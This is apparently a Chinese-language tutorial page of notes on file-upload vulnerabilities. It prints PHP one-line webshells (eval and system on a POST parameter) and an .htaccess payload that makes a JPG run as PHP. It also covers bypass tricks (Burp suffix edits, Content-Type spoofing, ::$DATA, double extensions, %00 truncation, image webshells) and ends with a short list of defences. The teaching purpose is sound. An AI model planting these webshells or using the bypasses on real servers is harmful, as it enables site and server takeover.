赞
踩
一句话木马功能
<?php @eval($_POST[cmd]);?>
@eval:是把字符串当成代码执行
<?php @system($_POST[cmd]);?>
@system:是执行系统命令
1.浏览器禁用 js
2.删除
上传允许的文件格式,然后拦截数据包,通过burp修改后缀,修改后放包(Burp发送后数据包是已经经
过了前端,所以前端校验就会失效)
1.抓包修改
文件上传漏洞是指由于程序员再开发时,未对用户上传的文件进行严格的验证和过滤,而导致用户可以 上传可执行的动态脚本文件。
用户通过界面上的上传功能上传了一个可执行的脚本文件,而WEB端的系统并未对其 进行检测或者检测的逻辑存在缺陷
非法用户可以上传的恶意文件控制整个网站,甚至是控制服务器,这个恶意脚本文件,又被称为 webshell, 上传 webshell 后门很方便地查看服务器信息,查看目录,执行系统命令等;
PHP: Content-Type: application/octet-stream
PNG: Content-Type: image/png
JPG: Content-Type: image/jpeg
GIF: Content-Type: image/gif
前提条件:Apache开启rewrite模块。
编写.htaccess文件,内容解释:将1.jpg文件解析成php文件
<FilesMatch "1.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
上传1.jpg文件,成功解析
是php的一个全局配置文件
auto_prepend_file = "x.jpg" 表示加载第一个PHP代码之前执行指示(包含的)文件
auto_append_file = "x.jpg" 表示加载第一个PHP代码之后执行指示(包含的)文件
[" . "] 点绕过
[" "] 空格绕过
::$DATA 表示文件的默认数据流,在window的时候如果文件名+"::$DATA"会把::$DATA之后的数据当 成文件流处理,上传时将一个有害文件的文件名改为 evil.php::$DATA 。此时,Windows 将会忽略后 缀 .php ,而使用 ::$DATA 后缀,从而绕过服务器端的文件类型检测,成功上传恶意文件到服务器 端。
pphphp
条件
php版本小于5.3.29
magic_quotes_gpc=Off
POST 下直接注入%00 是不行的,需要把%00 解码变成空白符,截断才有效。才能把目录截断成文件名;
文件头检测绕过
上传图片马 -> 程序渲染 -> 渲染后图片马中一句话木马消失变成了正常的图片。
如何判断是否为二次渲染。
判断是否为黑白名单,如果是白名单,寻找可控参数。如果是黑名单禁止上传, 可以用有危害的后缀名 批量提交测试,寻找遗留的执行脚本
使用 burpsuite 抓包上传将后缀名设置成变量,设置一个字典批量提交
服务器端使用白名单防御;
修复 web 中间件的漏洞;
禁止客户端存在可控参数;
存放文件目录禁止脚本执行;
限制后缀名;
一定要设置图片格式 jpg、gif 、 png 文件名随机的,不可预测;
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。